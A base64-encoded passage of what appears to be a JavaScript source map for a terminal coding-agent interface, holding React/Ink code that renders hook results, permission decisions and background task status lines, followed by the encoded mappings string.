AgcmVzb3VyY2UgPFRleHQgYm9sZD57YXR0YWNobWVudC5uYW1lfTwvVGV4dD4gZnJvbXsnICd9XG4gICAgICAgICAge2F0dGFjaG1lbnQuc2VydmVyfVxuICAgICAgICA8L0xpbmU+XG4gICAgICApXG4gICAgY2FzZSAnY29tbWFuZF9wZXJtaXNzaW9ucyc6XG4gICAgICAvLyBUaGUgc2tpbGwgc3VjY2VzcyBtZXNzYWdlIGlzIHJlbmRlcmVkIGJ5IFNraWxsVG9vbCdzIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlLFxuICAgICAgLy8gc28gd2UgZG9uJ3QgcmVuZGVyIGFueXRoaW5nIGhlcmUgdG8gYXZvaWQgZHVwbGljYXRlIG1lc3NhZ2VzLlxuICAgICAgcmV0dXJuIG51bGxcbiAgICBjYXNlICdhc3luY19ob29rX3Jlc3BvbnNlJzoge1xuICAgICAgLy8gU2Vzc2lvblN0YXJ0IGhvb2sgY29tcGxldGlvbnMgYXJlIG9ubHkgc2hvd24gaW4gdmVyYm9zZSBtb2RlXG4gICAgICBpZiAoYXR0YWNobWVudC5ob29rRXZlbnQgPT09ICdTZXNzaW9uU3RhcnQnICYmICF2ZXJib3NlKSB7XG4gICAgICAgIHJldHVybiBudWxsXG4gICAgICB9XG4gICAgICAvLyBHZW5lcmFsbHkgaGlkZSBhc3luYyBob29rIGNvbXBsZXRpb24gbWVzc2FnZXMgdW5sZXNzIGluIHZlcmJvc2UgbW9kZVxuICAgICAgaWYgKCF2ZXJib3NlICYmICFpc1RyYW5zY3JpcHRNb2RlKSB7XG4gICAgICAgIHJldHVybiBudWxsXG4gICAgICB9XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TGluZT5cbiAgICAgICAgICBBc3luYyBob29rIDxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuaG9va0V2ZW50fTwvVGV4dD4gY29tcGxldGVkXG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAnaG9va19ibG9ja2luZ19lcnJvcic6IHtcbiAgICAgIC8vIFN0b3AgaG9va3MgYXJlIHJlbmRlcmVkIGFzIGEgc3VtbWFyeSBpbiBTeXN0ZW1TdG9wSG9va1N1bW1hcnlNZXNzYWdlXG4gICAgICBpZiAoXG4gICAgICAgIGF0dGFjaG1lbnQuaG9va0V2ZW50ID09PSAnU3RvcCcgfHxcbiAgICAgICAgYXR0YWNobWVudC5ob29rRXZlbnQgPT09ICdTdWJhZ2VudFN0b3AnXG4gICAgICApIHtcbiAgICAgICAgcmV0dXJuIG51bGxcbiAgICAgIH1cbiAgICAgIC8vIFNob3cgc3RkZXJyIHRvIHRoZSB1c2VyIHNvIHRoZXkgY2FuIHVuZGVyc3RhbmQgd2h5IHRoZSBob29rIGJsb2NrZWRcbiAgICAgIGNvbnN0IHN0ZGVyciA9IGF0dGFjaG1lbnQuYmxvY2tpbmdFcnJvci5ibG9ja2luZ0Vycm9yLnRyaW0oKVxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPD5cbiAgICAgICAgICA8TGluZSBjb2xvcj1cImVycm9yXCI+XG4gICAgICAgICAgICB7YXR0YWNobWVudC5ob29rTmFtZX0gaG9vayByZXR1cm5lZCBibG9ja2luZyBlcnJvclxuICAgICAgICAgIDwvTGluZT5cbiAgICAgICAgICB7c3RkZXJyID8gPExpbmUgY29sb3I9XCJlcnJvclwiPntzdGRlcnJ9PC9MaW5lPiA6IG51bGx9XG4gICAgICAgIDwvPlxuICAgICAgKVxuICAgIH1cbiAgICBjYXNlICdob29rX25vbl9ibG9ja2luZ19lcnJvcic6IHtcbiAgICAgIC8vIFN0b3AgaG9va3MgYXJlIHJlbmRlcmVkIGFzIGEgc3VtbWFyeSBpbiBTeXN0ZW1TdG9wSG9va1N1bW1hcnlNZXNzYWdlXG4gICAgICBpZiAoXG4gICAgICAgIGF0dGFjaG1lbnQuaG9va0V2ZW50ID09PSAnU3RvcCcgfHxcbiAgICAgICAgYXR0YWNobWVudC5ob29rRXZlbnQgPT09ICdTdWJhZ2VudFN0b3AnXG4gICAgICApIHtcbiAgICAgICAgcmV0dXJuIG51bGxcbiAgICAgIH1cbiAgICAgIC8vIEZ1bGwgaG9vayBvdXRwdXQgaXMgbG9nZ2VkIHRvIGRlYnVnIGxvZyB2aWEgaG9va0V2ZW50cy50c1xuICAgICAgcmV0dXJuIDxMaW5lIGNvbG9yPVwiZXJyb3JcIj57YXR0YWNobWVudC5ob29rTmFtZX0gaG9vayBlcnJvcjwvTGluZT5cbiAgICB9XG4gICAgY2FzZSAnaG9va19lcnJvcl9kdXJpbmdfZXhlY3V0aW9uJzpcbiAgICAgIC8vIFN0b3AgaG9va3MgYXJlIHJlbmRlcmVkIGFzIGEgc3VtbWFyeSBpbiBTeXN0ZW1TdG9wSG9va1N1bW1hcnlNZXNzYWdlXG4gICAgICBpZiAoXG4gICAgICAgIGF0dGFjaG1lbnQuaG9va0V2ZW50ID09PSAnU3RvcCcgfHxcbiAgICAgICAgYXR0YWNobWVudC5ob29rRXZlbnQgPT09ICdTdWJhZ2VudFN0b3AnXG4gICAgICApIHtcbiAgICAgICAgcmV0dXJuIG51bGxcbiAgICAgIH1cbiAgICAgIC8vIEZ1bGwgaG9vayBvdXRwdXQgaXMgbG9nZ2VkIHRvIGRlYnVnIGxvZyB2aWEgaG9va0V2ZW50cy50c1xuICAgICAgcmV0dXJuIDxMaW5lPnthdHRhY2htZW50Lmhvb2tOYW1lfSBob29rIHdhcm5pbmc8L0xpbmU+XG4gICAgY2FzZSAnaG9va19zdWNjZXNzJzpcbiAgICAgIC8vIEZ1bGwgaG9vayBvdXRwdXQgaXMgbG9nZ2VkIHRvIGRlYnVnIGxvZyB2aWEgaG9va0V2ZW50cy50c1xuICAgICAgcmV0dXJuIG51bGxcbiAgICBjYXNlICdob29rX3N0b3BwZWRfY29udGludWF0aW9uJzpcbiAgICAgIC8vIFN0b3AgaG9va3MgYXJlIHJlbmRlcmVkIGFzIGEgc3VtbWFyeSBpbiBTeXN0ZW1TdG9wSG9va1N1bW1hcnlNZXNzYWdlXG4gICAgICBpZiAoXG4gICAgICAgIGF0dGFjaG1lbnQuaG9va0V2ZW50ID09PSAnU3RvcCcgfHxcbiAgICAgICAgYXR0YWNobWVudC5ob29rRXZlbnQgPT09ICdTdWJhZ2VudFN0b3AnXG4gICAgICApIHtcbiAgICAgICAgcmV0dXJuIG51bGxcbiAgICAgIH1cbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lIGNvbG9yPVwid2FybmluZ1wiPlxuICAgICAgICAgIHthdHRhY2htZW50Lmhvb2tOYW1lfSBob29rIHN0b3BwZWQgY29udGludWF0aW9uOiB7YXR0YWNobWVudC5tZXNzYWdlfVxuICAgICAgICA8L0xpbmU+XG4gICAgICApXG4gICAgY2FzZSAnaG9va19zeXN0ZW1fbWVzc2FnZSc6XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TGluZT5cbiAgICAgICAgICB7YXR0YWNobWVudC5ob29rTmFtZX0gc2F5czoge2F0dGFjaG1lbnQuY29udGVudH1cbiAgICAgICAgPC9MaW5lPlxuICAgICAgKVxuICAgIGNhc2UgJ2hvb2tfcGVybWlzc2lvbl9kZWNpc2lvbic6IHtcbiAgICAgIGNvbnN0IGFjdGlvbiA9IGF0dGFjaG1lbnQuZGVjaXNpb24gPT09ICdhbGxvdycgPyAnQWxsb3dlZCcgOiAnRGVuaWVkJ1xuICAgICAgcmV0dXJuIChcbiAgICAgICAgPExpbmU+XG4gICAgICAgICAge2FjdGlvbn0gYnkgPFRleHQgYm9sZD57YXR0YWNobWVudC5ob29rRXZlbnR9PC9UZXh0PiBob29rXG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAndGFza19zdGF0dXMnOlxuICAgICAgcmV0dXJuIDxUYXNrU3RhdHVzTWVzc2FnZSBhdHRhY2htZW50PXthdHRhY2htZW50fSAvPlxuICAgIGNhc2UgJ3RlYW1tYXRlX3NodXRkb3duX2JhdGNoJzpcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxCb3hcbiAgICAgICAgICBmbGV4RGlyZWN0aW9uPVwicm93XCJcbiAgICAgICAgICB3aWR0aD1cIjEwMCVcIlxuICAgICAgICAgIG1hcmdpblRvcD17MX1cbiAgICAgICAgICBiYWNrZ3JvdW5kQ29sb3I9e2JnfVxuICAgICAgICA+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+e0JMQUNLX0NJUkNMRX0gPC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAge2F0dGFjaG1lbnQuY291bnR9IHtwbHVyYWwoYXR0YWNobWVudC5jb3VudCwgJ3RlYW1tYXRlJyl9IHNodXQgZG93blxuICAgICAgICAgICAgZ3JhY2VmdWxseVxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgPC9Cb3g+XG4gICAgICApXG4gICAgZGVmYXVsdDpcbiAgICAgIC8vIEV4aGF1c3RpdmVuZXNzOiBldmVyeSB0eXBlIHJlYWNoaW5nIGhlcmUgbXVzdCBiZSBpbiBOVUxMX1JFTkRFUklOR19UWVBFUy5cbiAgICAgIC8vIElmIFRTIGVycm9ycywgYSBuZXcgQXR0YWNobWVudCB0eXBlIHdhcyBhZGRlZCB3aXRob3V0IGEgY2FzZSBhYm92ZSBBTkRcbiAgICAgIC8vIHdpdGhvdXQgYW4gZW50cnkgaW4gTlVMTF9SRU5ERVJJTkdfVFlQRVMg4oCUIGRlY2lkZTogcmVuZGVyIHNvbWV0aGluZyAoYWRkXG4gICAgICAvLyBhIGNhc2UpIG9yIHJlbmRlciBub3RoaW5nIChhZGQgdG8gdGhlIGFycmF5KS4gTWVzc2FnZXMudHN4IHByZS1maWx0ZXJzXG4gICAgICAvLyB0aGVzZSBzbyB0aGlzIGJyYW5jaCBpcyBkZWZlbnNlLWluLWRlcHRoIGZvciBvdGhlciByZW5kZXIgcGF0aHMuXG4gICAgICAvL1xuICAgICAgLy8gc2tpbGxfZGlzY292ZXJ5IGFuZCB0ZWFtbWF0ZV9tYWlsYm94IGFyZSBoYW5kbGVkIEJFRk9SRSB0aGUgc3dpdGNoIGluXG4gICAgICAvLyBydW50aW1lLWdhdGVkIGJsb2NrcyAoZmVhdHVyZSgpIC8gaXNBZ2VudFN3YXJtc0VuYWJsZWQoKSkgdGhhdCBUUyBjYW4ndFxuICAgICAgLy8gbmFycm93IHRocm91Z2gg4oCUIGV4Y2x1ZGVkIGhlcmUgdmlhIHR5cGUgdW5pb24gKGNvbXBpbGUtdGltZSBvbmx5LCBubyBlbWl0KS5cbiAgICAgIGF0dGFjaG1lbnQudHlwZSBzYXRpc2ZpZXNcbiAgICAgICAgfCBOdWxsUmVuZGVyaW5nQXR0YWNobWVudFR5cGVcbiAgICAgICAgfCAnc2tpbGxfZGlzY292ZXJ5J1xuICAgICAgICB8ICd0ZWFtbWF0ZV9tYWlsYm94J1xuICAgICAgcmV0dXJuIG51bGxcbiAgfVxufVxuXG50eXBlIFRhc2tTdGF0dXNBdHRhY2htZW50ID0gRXh0cmFjdDxBdHRhY2htZW50LCB7IHR5cGU6ICd0YXNrX3N0YXR1cycgfT5cblxuZnVuY3Rpb24gVGFza1N0YXR1c01lc3NhZ2Uoe1xuICBhdHRhY2htZW50LFxufToge1xuICBhdHRhY2htZW50OiBUYXNrU3RhdHVzQXR0YWNobWVudFxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIEZvciBhbnRzLCBraWxsZWQgdGFzayBzdGF0dXMgaXMgc2hvd24gaW4gdGhlIENvb3JkaW5hdG9yVGFza1BhbmVsLlxuICAvLyBEb24ndCByZW5kZXIgaXQgYWdhaW4gaW4gdGhlIGNoYXQuXG4gIGlmIChcImV4dGVybmFsXCIgPT09ICdhbnQnICYmIGF0dGFjaG1lbnQuc3RhdHVzID09PSAna2lsbGVkJykge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICAvLyBPbmx5IGFjY2VzcyB0ZWFtbWF0ZS1zcGVjaWZpYyBjb2RlIHdoZW4gc3dhcm1zIGFyZSBlbmFibGVkLlxuICAvLyBUZWFtbWF0ZVRhc2tTdGF0dXMgc3Vic2NyaWJlcyB0byBBcHBTdGF0ZTsgYnkgZ2F0aW5nIHRoZSBtb3VudCB3ZVxuICAvLyBhdm9pZCBhZGRpbmcgYSBzdG9yZSBsaXN0ZW5lciBmb3IgZXZlcnkgbm9uLXRlYW1tYXRlIGF0dGFjaG1lbnQuXG4gIGlmIChpc0FnZW50U3dhcm1zRW5hYmxlZCgpICYmIGF0dGFjaG1lbnQudGFza1R5cGUgPT09ICdpbl9wcm9jZXNzX3RlYW1tYXRlJykge1xuICAgIHJldHVybiA8VGVhbW1hdGVUYXNrU3RhdHVzIGF0dGFjaG1lbnQ9e2F0dGFjaG1lbnR9IC8+XG4gIH1cblxuICByZXR1cm4gPEdlbmVyaWNUYXNrU3RhdHVzIGF0dGFjaG1lbnQ9e2F0dGFjaG1lbnR9IC8+XG59XG5cbmZ1bmN0aW9uIEdlbmVyaWNUYXNrU3RhdHVzKHtcbiAgYXR0YWNobWVudCxcbn06IHtcbiAgYXR0YWNobWVudDogVGFza1N0YXR1c0F0dGFjaG1lbnRcbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBiZyA9IHVzZVNlbGVjdGVkTWVzc2FnZUJnKClcbiAgY29uc3Qgc3RhdHVzVGV4dCA9XG4gICAgYXR0YWNobWVudC5zdGF0dXMgPT09ICdjb21wbGV0ZWQnXG4gICAgICA/ICdjb21wbGV0ZWQgaW4gYmFja2dyb3VuZCdcbiAgICAgIDogYXR0YWNobWVudC5zdGF0dXMgPT09ICdraWxsZWQnXG4gICAgICAgID8gJ3N0b3BwZWQnXG4gICAgICAgIDogYXR0YWNobWVudC5zdGF0dXMgPT09ICdydW5uaW5nJ1xuICAgICAgICAgID8gJ3N0aWxsIHJ1bm5pbmcgaW4gYmFja2dyb3VuZCdcbiAgICAgICAgICA6IGF0dGFjaG1lbnQuc3RhdHVzXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgd2lkdGg9XCIxMDAlXCIgbWFyZ2luVG9wPXsxfSBiYWNrZ3JvdW5kQ29sb3I9e2JnfT5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntCTEFDS19DSVJDTEV9IDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICBUYXNrICZxdW90OzxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuZGVzY3JpcHRpb259PC9UZXh0PiZxdW90OyB7c3RhdHVzVGV4dH1cbiAgICAgIDwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBUZWFtbWF0ZVRhc2tTdGF0dXMoe1xuICBhdHRhY2htZW50LFxufToge1xuICBhdHRhY2htZW50OiBUYXNrU3RhdHVzQXR0YWNobWVudFxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGJnID0gdXNlU2VsZWN0ZWRNZXNzYWdlQmcoKVxuICAvLyBOYXJyb3cgc2VsZWN0b3I6IG9ubHkgcmUtcmVuZGVyIHdoZW4gdGhpcyBzcGVjaWZpYyB0YXNrIGNoYW5nZXMuXG4gIGNvbnN0IHRhc2sgPSB1c2VBcHBTdGF0ZShzID0+IHMudGFza3NbYXR0YWNobWVudC50YXNrSWRdKVxuICBpZiAodGFzaz8udHlwZSAhPT0gJ2luX3Byb2Nlc3NfdGVhbW1hdGUnKSB7XG4gICAgLy8gRmFsbCB0aHJvdWdoIHRvIGdlbmVyaWMgcmVuZGVyaW5nICh0YXNrIG5vdCB5ZXQgaW4gc3RvcmUsIG9yIHdyb25nIHR5cGUpXG4gICAgcmV0dXJuIDxHZW5lcmljVGFza1N0YXR1cyBhdHRhY2htZW50PXthdHRhY2htZW50fSAvPlxuICB9XG4gIGNvbnN0IGFnZW50Q29sb3IgPSB0b0lua0NvbG9yKHRhc2suaWRlbnRpdHkuY29sb3IpXG4gIGNvbnN0IHN0YXR1c1RleHQgPVxuICAgIGF0dGFjaG1lbnQuc3RhdHVzID09PSAnY29tcGxldGVkJ1xuICAgICAgPyAnc2h1dCBkb3duIGdyYWNlZnVsbHknXG4gICAgICA6IGF0dGFjaG1lbnQuc3RhdHVzXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgd2lkdGg9XCIxMDAlXCIgbWFyZ2luVG9wPXsxfSBiYWNrZ3JvdW5kQ29sb3I9e2JnfT5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntCTEFDS19DSVJDTEV9IDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICBUZWFtbWF0ZXsnICd9XG4gICAgICAgIDxUZXh0IGNvbG9yPXthZ2VudENvbG9yfSBib2xkIGRpbUNvbG9yPXtmYWxzZX0+XG4gICAgICAgICAgQHt0YXNrLmlkZW50aXR5LmFnZW50TmFtZX1cbiAgICAgICAgPC9UZXh0PnsnICd9XG4gICAgICAgIHtzdGF0dXNUZXh0fVxuICAgICAgPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4vLyBXZSBhbGxvdyBzZXR0aW5nIGRpbUNvbG9yIHRvIGZhbHNlIGhlcmUgdG8gaGVscCB3b3JrIGFyb3VuZCB0aGUgZGltLWJvbGQgYnVnLlxuLy8gaHR0cHM6Ly9naXRodWIuY29tL2NoYWxrL2NoYWxrL2lzc3Vlcy8yOTBcbmZ1bmN0aW9uIExpbmUoe1xuICBkaW1Db2xvciA9IHRydWUsXG4gIGNoaWxkcmVuLFxuICBjb2xvcixcbn06IHtcbiAgZGltQ29sb3I/OiBib29sZWFuXG4gIGNoaWxkcmVuOiBSZWFjdC5SZWFjdE5vZGVcbiAgY29sb3I/OiBrZXlvZiBUaGVtZVxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGJnID0gdXNlU2VsZWN0ZWRNZXNzYWdlQmcoKVxuICByZXR1cm4gKFxuICAgIDxCb3ggYmFja2dyb3VuZENvbG9yPXtiZ30+XG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj17Y29sb3J9IGRpbUNvbG9yPXtkaW1Db2xvcn0gd3JhcD1cIndyYXBcIj5cbiAgICAgICAgICB7Y2hpbGRyZW59XG4gICAgICAgIDwvVGV4dD5cbiAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQTtBQUNBLE9BQU9BLEtBQUssSUFBSUMsT0FBTyxRQUFRLE9BQU87QUFDdEMsU0FBU0MsSUFBSSxFQUFFQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQzlDLGNBQWNDLFVBQVUsUUFBUSwwQkFBMEI7QUFDMUQsY0FBY0MsMkJBQTJCLFFBQVEsK0JBQStCO0FBQ2hGLFNBQVNDLFdBQVcsUUFBUSx5QkFBeUI7QUFDckQsU0FBU0MsY0FBYyxRQUFRLG1CQUFtQjtBQUNsRCxTQUFTQyxjQUFjLFFBQVEscUJBQXFCO0FBQ3BELFNBQVNDLGVBQWUsUUFBUSx1QkFBdUI7QUFDdkQsU0FBU0MsUUFBUSxFQUFFQyxHQUFHLFFBQVEsTUFBTTtBQUNwQyxTQUFTQyxlQUFlLFFBQVEsc0JBQXNCO0FBQ3RELFNBQVNDLGtCQUFrQixRQUFRLDBCQUEwQjtBQUM3RCxTQUFTQyxjQUFjLFFBQVEsdUJBQXVCO0FBQ3RELGNBQWNDLEtBQUssUUFBUSxvQkFBb0I7QUFDL0MsU0FBU0MsZ0JBQWdCLFFBQVEsdUJBQXVCO0FBQ3hELFNBQV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